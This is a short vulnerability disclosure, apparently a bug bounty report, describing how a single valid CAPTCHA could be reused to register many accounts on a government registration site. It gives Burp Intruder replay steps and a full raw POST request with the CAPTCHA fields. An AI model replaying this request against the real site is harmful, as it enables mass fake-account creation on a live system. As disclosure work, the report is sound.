captcha bypass leads to register multiple user with one valid captcha

How it was found

Summary:

Hi team, when we register in valley connect, captcha now expire and we can use single valid captcha for register and call to many user.

Steps To Reproduce:

1. go to login form : https://valleyconnect.tva.gov/registration
2. complete form and click on submit registration, then intercept request with burp
3. use intruder for call multiple request, we should replace email in every request.

POST /registration HTTP/2
Host: valleyconnect.tva.gov

UserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=E%40jetamooz.com&EmailAddressVerify=E%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=

Supporting Material/References:

{F2781078} {F2781077} {F2781085} {F2781080}

Impact

we can bypass captcha and register too many user with one valid captcha